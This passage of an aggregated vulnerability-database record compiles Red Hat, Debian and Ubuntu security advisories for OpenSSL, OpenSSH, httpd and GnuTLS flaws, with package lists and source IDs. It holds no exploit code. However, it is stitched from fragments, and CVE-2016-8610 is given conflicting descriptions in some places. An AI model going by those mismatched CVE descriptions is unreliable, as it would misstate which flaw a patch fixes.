7):\n\nppc64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm\n\nppc64le:\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm\n\ns390x:\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-0777\nhttps://access.redhat.com/security/cve/CVE-2016-0778\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://access.redhat.com/articles/2123781\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2016 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFWmAWQXlSAg2UNWIIRAh17AJ9SiT1MA1YtOA6ctMp9jIo4e9XrFwCgkbmo\nnXgYWs8cZcyoTRVoriTGHQo=\n=1sk9\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-0777"
},
{
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"id": "VU#456088"
},
{
"db": "BID",
"id": "80695"
},
{
"db": "VULHUB",
"id": "VHN-88287"
},
{
"db": "VULMON",
"id": "CVE-2016-0777"
},
{
"db": "PACKETSTORM",
"id": "135250"
},
{
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"id": "135273"
},
{
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"id": "135281"
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{
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"id": "135259"
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{
"db": "PACKETSTORM",
"id": "138552"
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{
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"id": "136346"
},
{
"db": "PACKETSTORM",
"id": "135263"
}
],
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VAR-201711-0007
Vulnerability from variot - Updated: 2026-03-09 20:19A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL protocol defined processing of ALERT packets during a connection handshake. A remote attacker could use this flaw to make a TLS/SSL server consume an excessive amount of CPU and fail to accept connections from other clients. OpenSSL is prone to denial-of-service vulnerability. Successful exploitation of the issue will cause excessive memory or CPU resource consumption, resulting in a denial-of-service condition. It supports a variety of encryption algorithms, including symmetric ciphers, hash algorithms, security hashing algorithm, etc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
===================================================================== Red Hat Security Advisory
Synopsis: Moderate: openssl security update Advisory ID: RHSA-2017:0286-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2017-0286.html Issue date: 2017-02-20 CVE Names: CVE-2016-8610 CVE-2017-3731 =====================================================================
- Summary:
An update for openssl is now available for Red Hat Enterprise Linux 6 and Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Desktop (v. 6) - i386, x86_64 Red Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64 Red Hat Enterprise Linux HPC Node (v. 6) - x86_64 Red Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64 Red Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Server (v. 7) - aarch64, ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - aarch64, ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 6) - i386, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64
- Description:
OpenSSL is a toolkit that implements the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols, as well as a full-strength general-purpose cryptography library.
Security Fix(es):
-
An integer underflow leading to an out of bounds read flaw was found in OpenSSL. (CVE-2016-8610)
-
Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
For the update to take effect, all services linked to the OpenSSL library must be restarted, or the system rebooted.
- Bugs fixed (https://bugzilla.redhat.com/):
1384743 - CVE-2016-8610 SSL/TLS: Malformed plain-text ALERT packets could cause remote DoS 1416852 - CVE-2017-3731 openssl: Truncated packet could crash via OOB read
- Package List:
Red Hat Enterprise Linux Desktop (v. 6):
Source: openssl-1.0.1e-48.el6_8.4.src.rpm
i386: openssl-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm
x86_64: openssl-1.0.1e-48.el6_8.4.i686.rpm openssl-1.0.1e-48.el6_8.4.x86_64.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm
Red Hat Enterprise Linux Desktop Optional (v. 6):
i386: openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-devel-1.0.1e-48.el6_8.4.i686.rpm openssl-perl-1.0.1e-48.el6_8.4.i686.rpm openssl-static-1.0.1e-48.el6_8.4.i686.rpm
x86_64: openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm openssl-devel-1.0.1e-48.el6_8.4.i686.rpm openssl-devel-1.0.1e-48.el6_8.4.x86_64.rpm openssl-perl-1.0.1e-48.el6_8.4.x86_64.rpm openssl-static-1.0.1e-48.el6_8.4.x86_64.rpm
Red Hat Enterprise Linux HPC Node (v. 6):
Source: openssl-1.0.1e-48.el6_8.4.src.rpm
x86_64: openssl-1.0.1e-48.el6_8.4.i686.rpm openssl-1.0.1e-48.el6_8.4.x86_64.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm
Red Hat Enterprise Linux HPC Node Optional (v. 6):
x86_64: openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm openssl-devel-1.0.1e-48.el6_8.4.i686.rpm openssl-devel-1.0.1e-48.el6_8.4.x86_64.rpm openssl-perl-1.0.1e-48.el6_8.4.x86_64.rpm openssl-static-1.0.1e-48.el6_8.4.x86_64.rpm
Red Hat Enterprise Linux Server (v. 6):
Source: openssl-1.0.1e-48.el6_8.4.src.rpm
i386: openssl-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-devel-1.0.1e-48.el6_8.4.i686.rpm
ppc64: openssl-1.0.1e-48.el6_8.4.ppc.rpm openssl-1.0.1e-48.el6_8.4.ppc64.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.ppc.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.ppc64.rpm openssl-devel-1.0.1e-48.el6_8.4.ppc.rpm openssl-devel-1.0.1e-48.el6_8.4.ppc64.rpm
s390x: openssl-1.0.1e-48.el6_8.4.s390.rpm openssl-1.0.1e-48.el6_8.4.s390x.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.s390.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.s390x.rpm openssl-devel-1.0.1e-48.el6_8.4.s390.rpm openssl-devel-1.0.1e-48.el6_8.4.s390x.rpm
x86_64: openssl-1.0.1e-48.el6_8.4.i686.rpm openssl-1.0.1e-48.el6_8.4.x86_64.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm openssl-devel-1.0.1e-48.el6_8.4.i686.rpm openssl-devel-1.0.1e-48.el6_8.4.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 6):
i386: openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-perl-1.0.1e-48.el6_8.4.i686.rpm openssl-static-1.0.1e-48.el6_8.4.i686.rpm
ppc64: openssl-debuginfo-1.0.1e-48.el6_8.4.ppc64.rpm openssl-perl-1.0.1e-48.el6_8.4.ppc64.rpm openssl-static-1.0.1e-48.el6_8.4.ppc64.rpm
s390x: openssl-debuginfo-1.0.1e-48.el6_8.4.s390x.rpm openssl-perl-1.0.1e-48.el6_8.4.s390x.rpm openssl-static-1.0.1e-48.el6_8.4.s390x.rpm
x86_64: openssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm openssl-perl-1.0.1e-48.el6_8.4.x86_64.rpm openssl-static-1.0.1e-48.el6_8.4.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 6):
Source: openssl-1.0.1e-48.el6_8.4.src.rpm
i386: openssl-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-devel-1.0.1e-48.el6_8.4.i686.rpm
x86_64: openssl-1.0.1e-48.el6_8.4.i686.rpm openssl-1.0.1e-48.el6_8.4.x86_64.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm openssl-devel-1.0.1e-48.el6_8.4.i686.rpm openssl-devel-1.0.1e-48.el6_8.4.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 6):
i386: openssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm openssl-perl-1.0.1e-48.el6_8.4.i686.rpm openssl-static-1.0.1e-48.el6_8.4.i686.rpm
x86_64: openssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm openssl-perl-1.0.1e-48.el6_8.4.x86_64.rpm openssl-static-1.0.1e-48.el6_8.4.x86_64.rpm
Red Hat Enterprise Linux Client (v. 7):
Source: openssl-1.0.1e-60.el7_3.1.src.rpm
x86_64: openssl-1.0.1e-60.el7_3.1.x86_64.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm openssl-libs-1.0.1e-60.el7_3.1.i686.rpm openssl-libs-1.0.1e-60.el7_3.1.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
x86_64: openssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm openssl-devel-1.0.1e-60.el7_3.1.i686.rpm openssl-devel-1.0.1e-60.el7_3.1.x86_64.rpm openssl-perl-1.0.1e-60.el7_3.1.x86_64.rpm openssl-static-1.0.1e-60.el7_3.1.i686.rpm openssl-static-1.0.1e-60.el7_3.1.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source: openssl-1.0.1e-60.el7_3.1.src.rpm
x86_64: openssl-1.0.1e-60.el7_3.1.x86_64.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm openssl-libs-1.0.1e-60.el7_3.1.i686.rpm openssl-libs-1.0.1e-60.el7_3.1.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
x86_64: openssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm openssl-devel-1.0.1e-60.el7_3.1.i686.rpm openssl-devel-1.0.1e-60.el7_3.1.x86_64.rpm openssl-perl-1.0.1e-60.el7_3.1.x86_64.rpm openssl-static-1.0.1e-60.el7_3.1.i686.rpm openssl-static-1.0.1e-60.el7_3.1.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source: openssl-1.0.1e-60.el7_3.1.src.rpm
aarch64: openssl-1.0.1e-60.el7_3.1.aarch64.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.aarch64.rpm openssl-devel-1.0.1e-60.el7_3.1.aarch64.rpm openssl-libs-1.0.1e-60.el7_3.1.aarch64.rpm
ppc64: openssl-1.0.1e-60.el7_3.1.ppc64.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.ppc.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.ppc64.rpm openssl-devel-1.0.1e-60.el7_3.1.ppc.rpm openssl-devel-1.0.1e-60.el7_3.1.ppc64.rpm openssl-libs-1.0.1e-60.el7_3.1.ppc.rpm openssl-libs-1.0.1e-60.el7_3.1.ppc64.rpm
ppc64le: openssl-1.0.1e-60.el7_3.1.ppc64le.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.ppc64le.rpm openssl-devel-1.0.1e-60.el7_3.1.ppc64le.rpm openssl-libs-1.0.1e-60.el7_3.1.ppc64le.rpm
s390x: openssl-1.0.1e-60.el7_3.1.s390x.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.s390.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.s390x.rpm openssl-devel-1.0.1e-60.el7_3.1.s390.rpm openssl-devel-1.0.1e-60.el7_3.1.s390x.rpm openssl-libs-1.0.1e-60.el7_3.1.s390.rpm openssl-libs-1.0.1e-60.el7_3.1.s390x.rpm
x86_64: openssl-1.0.1e-60.el7_3.1.x86_64.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm openssl-devel-1.0.1e-60.el7_3.1.i686.rpm openssl-devel-1.0.1e-60.el7_3.1.x86_64.rpm openssl-libs-1.0.1e-60.el7_3.1.i686.rpm openssl-libs-1.0.1e-60.el7_3.1.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
aarch64: openssl-debuginfo-1.0.1e-60.el7_3.1.aarch64.rpm openssl-perl-1.0.1e-60.el7_3.1.aarch64.rpm openssl-static-1.0.1e-60.el7_3.1.aarch64.rpm
ppc64: openssl-debuginfo-1.0.1e-60.el7_3.1.ppc.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.ppc64.rpm openssl-perl-1.0.1e-60.el7_3.1.ppc64.rpm openssl-static-1.0.1e-60.el7_3.1.ppc.rpm openssl-static-1.0.1e-60.el7_3.1.ppc64.rpm
ppc64le: openssl-debuginfo-1.0.1e-60.el7_3.1.ppc64le.rpm openssl-perl-1.0.1e-60.el7_3.1.ppc64le.rpm openssl-static-1.0.1e-60.el7_3.1.ppc64le.rpm
s390x: openssl-debuginfo-1.0.1e-60.el7_3.1.s390.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.s390x.rpm openssl-perl-1.0.1e-60.el7_3.1.s390x.rpm openssl-static-1.0.1e-60.el7_3.1.s390.rpm openssl-static-1.0.1e-60.el7_3.1.s390x.rpm
x86_64: openssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm openssl-perl-1.0.1e-60.el7_3.1.x86_64.rpm openssl-static-1.0.1e-60.el7_3.1.i686.rpm openssl-static-1.0.1e-60.el7_3.1.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source: openssl-1.0.1e-60.el7_3.1.src.rpm
x86_64: openssl-1.0.1e-60.el7_3.1.x86_64.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm openssl-devel-1.0.1e-60.el7_3.1.i686.rpm openssl-devel-1.0.1e-60.el7_3.1.x86_64.rpm openssl-libs-1.0.1e-60.el7_3.1.i686.rpm openssl-libs-1.0.1e-60.el7_3.1.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
x86_64: openssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm openssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm openssl-perl-1.0.1e-60.el7_3.1.x86_64.rpm openssl-static-1.0.1e-60.el7_3.1.i686.rpm openssl-static-1.0.1e-60.el7_3.1.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2016-8610 https://access.redhat.com/security/cve/CVE-2017-3731 https://access.redhat.com/security/updates/classification/#moderate https://www.openssl.org/news/secadv/20170126.txt
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2017 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . This software, such as Apache HTTP Server, is common to multiple JBoss middleware products, and is packaged under Red Hat JBoss Core Services to allow for faster distribution of updates, and for a more consistent update experience.
Security Fix(es):
-
A memory leak flaw was found in the way OpenSSL handled TLS status request extension data during session renegotiation. A remote attacker could cause a TLS server using OpenSSL to consume an excessive amount of memory and, possibly, exit unexpectedly after exhausting all available memory, if it enabled OCSP stapling support. (CVE-2016-6304)
-
It was discovered that the mod_session_crypto module of httpd did not use any mechanisms to verify integrity of the encrypted session data stored in the user's browser. (CVE-2016-0736)
-
It was discovered that the mod_auth_digest module of httpd did not properly check for memory allocation failures. (CVE-2016-2161)
-
A timing attack flaw was found in OpenSSL that could allow a malicious user with local access to recover ECDSA P-256 private keys. (CVE-2016-8610)
-
It was discovered that the HTTP parser in httpd incorrectly allowed certain characters not permitted by the HTTP protocol specification to appear unencoded in HTTP request headers. If httpd was used in conjunction with a proxy or backend server that interpreted those characters differently, a remote attacker could possibly use this flaw to inject data into HTTP responses, resulting in proxy cache poisoning. (CVE-2016-8743)
-
A vulnerability was found in httpd's handling of the LimitRequestFields directive in mod_http2, affecting servers with HTTP/2 enabled. (CVE-2016-8740)
Red Hat would like to thank the OpenSSL project for reporting CVE-2016-6304 and Shi Lei (Gear Team of Qihoo 360 Inc.) for reporting CVE-2016-8610. Upstream acknowledges Shi Lei (Gear Team of Qihoo 360 Inc.) as the original reporter of CVE-2016-6304. After installing the updated packages, the httpd daemon will be restarted automatically. Bugs fixed (https://bugzilla.redhat.com/):
1377600 - CVE-2016-6304 openssl: OCSP Status Request extension unbounded memory growth 1384743 - CVE-2016-8610 SSL/TLS: Malformed plain-text ALERT packets could cause remote DoS 1401528 - CVE-2016-8740 httpd: Incomplete handling of LimitRequestFields directive in mod_http2 1406744 - CVE-2016-0736 httpd: Padding Oracle in Apache mod_session_crypto 1406753 - CVE-2016-2161 httpd: DoS vulnerability in mod_auth_digest 1406822 - CVE-2016-8743 httpd: Apache HTTP Request Parsing Whitespace Defects 1412120 - CVE-2016-7056 openssl: ECDSA P-256 timing attack key recovery
- JIRA issues fixed (https://issues.jboss.org/):
JBCS-319 - Errata for httpd 2.4.23 SP1 RHEL 7
Apache Tomcat is a servlet container for the Java Servlet and JavaServer Pages (JSP) technologies. If sendfile processing completed quickly, it was possible for the Processor to be added to the processor cache twice. This could lead to invalid responses or information disclosure. (CVE-2017-5647)
- A vulnerability was discovered in the error page mechanism in Tomcat's DefaultServlet implementation. A crafted HTTP request could cause undesired side effects, possibly including the removal or replacement of the custom error page. Solution:
Before applying the update, back up your existing Red Hat JBoss Web Server installation (including all applications and configuration files).
CVE-2016-8610
It was discovered that no limit was imposed on alert packets during
an SSL handshake.
CVE-2017-3731
Robert Swiecki discovered that the RC4-MD5 cipher when running on
32 bit systems could be forced into an out-of-bounds read, resulting
in denial of service.
For the stable distribution (jessie), these problems have been fixed in version 1.0.1t-1+deb8u6.
For the unstable distribution (sid), these problems have been fixed in version 1.1.0d-1 of the openssl source package and in version 1.0.2k-1 of the openssl1.0 source package.
We recommend that you upgrade your openssl packages. 6) - i386, x86_64
The following packages have been upgraded to a later upstream version: gnutls (2.12.23). (CVE-2016-8610)
- Multiple flaws were found in the way gnutls processed OpenPGP certificates. An attacker could create specially crafted OpenPGP certificates which, when parsed by gnutls, would cause it to crash. Bugs fixed (https://bugzilla.redhat.com/):
1320982 - ASSERT failure in gnutls-cli-debug 1321112 - DHE_DSS ciphers don't work with client certificates and OpenSSL using TLSv1.2 1323215 - gnutls-serv --http crashes with client certificates with NSS client 1326073 - GnuTLS prefers SHA-1 signatures in TLSv1.2 1326389 - GnuTLS server does not accept SHA-384 and SHA-512 Certificate Verify signatures despite advertising support for them 1326886 - GnuTLS server rejects connections that do not advertise support for SHA-1 signature algorithms 1327656 - gnutls-serv: closing connection without sending an Alert message 1328205 - gnutls-cli won't send certificates that don't match hashes in Certificate Request 1333521 - Provide ability to set the expected server name in gnutls-serv utility 1335924 - gnutls: Disable TLS connections with less than 1024-bit DH parameters 1337460 - Disable/remove export ciphersuites in GnuTLS 1384743 - CVE-2016-8610 SSL/TLS: Malformed plain-text ALERT packets could cause remote DoS 1411836 - CVE-2017-5337 gnutls: Heap read overflow in read-packet.c 1412235 - CVE-2017-5335 gnutls: Out of memory while parsing crafted OpenPGP certificate 1412236 - CVE-2017-5336 gnutls: Stack overflow in cdk_pk_get_keyid 1415682 - Changes introduced by rebase to 2.12.23 break API and ABI compatibility for some libraries
6.
Ubuntu Security Notice USN-3183-2 March 20, 2017
gnutls26 vulnerability
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 14.04 LTS
- Ubuntu 12.04 LTS
Summary:
GnuTLS could be made to hang if it received specially crafted network traffic.
Software Description: - gnutls26: GNU TLS library
Details:
USN-3183-1 fixed CVE-2016-8610 in GnuTLS in Ubuntu 16.04 LTS and Ubuntu 16.10. This update provides the corresponding update for Ubuntu 12.04 LTS and Ubuntu 14.04 LTS.
Original advisory details:
Stefan Buehler discovered that GnuTLS incorrectly verified the serial length of OCSP responses. This issue only applied to Ubuntu 16.04 LTS. (CVE-2016-7444) Shi Lei discovered that GnuTLS incorrectly handled certain warning alerts. This issue has only been addressed in Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2016-8610) It was discovered that GnuTLS incorrectly decoded X.509 certificates with a Proxy Certificate Information extension. This issue only affected Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2017-5334) It was discovered that GnuTLS incorrectly handled certain OpenPGP certificates. (CVE-2017-5335, CVE-2017-5336, CVE-2017-5337)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 14.04 LTS: libgnutls26 2.12.23-12ubuntu2.7
Ubuntu 12.04 LTS: libgnutls26 2.12.14-5ubuntu3.14
In general, a standard system update will make all the necessary changes
Show details on source website{
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},
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},
"description": {
"_id": null,
"data": "A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL protocol defined processing of ALERT packets during a connection handshake. A remote attacker could use this flaw to make a TLS/SSL server consume an excessive amount of CPU and fail to accept connections from other clients. OpenSSL is prone to denial-of-service vulnerability. \nSuccessful exploitation of the issue will cause excessive memory or CPU resource consumption, resulting in a denial-of-service condition. It supports a variety of encryption algorithms, including symmetric ciphers, hash algorithms, security hashing algorithm, etc. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Moderate: openssl security update\nAdvisory ID: RHSA-2017:0286-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://rhn.redhat.com/errata/RHSA-2017-0286.html\nIssue date: 2017-02-20\nCVE Names: CVE-2016-8610 CVE-2017-3731 \n=====================================================================\n\n1. Summary:\n\nAn update for openssl is now available for Red Hat Enterprise Linux 6 and\nRed Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score, which\ngives a detailed severity rating, is available for each vulnerability from\nthe CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Desktop (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64\nRed Hat Enterprise Linux HPC Node (v. 6) - x86_64\nRed Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64\nRed Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server (v. 7) - aarch64, ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - aarch64, ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\n\n3. Description:\n\nOpenSSL is a toolkit that implements the Secure Sockets Layer (SSL) and\nTransport Layer Security (TLS) protocols, as well as a full-strength\ngeneral-purpose cryptography library. \n\nSecurity Fix(es):\n\n* An integer underflow leading to an out of bounds read flaw was found in\nOpenSSL. \n(CVE-2016-8610)\n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nFor the update to take effect, all services linked to the OpenSSL library\nmust be restarted, or the system rebooted. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1384743 - CVE-2016-8610 SSL/TLS: Malformed plain-text ALERT packets could cause remote DoS\n1416852 - CVE-2017-3731 openssl: Truncated packet could crash via OOB read\n\n6. Package List:\n\nRed Hat Enterprise Linux Desktop (v. 6):\n\nSource:\nopenssl-1.0.1e-48.el6_8.4.src.rpm\n\ni386:\nopenssl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\n\nx86_64:\nopenssl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm\n\nRed Hat Enterprise Linux Desktop Optional (v. 6):\n\ni386:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-static-1.0.1e-48.el6_8.4.i686.rpm\n\nx86_64:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-static-1.0.1e-48.el6_8.4.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node (v. 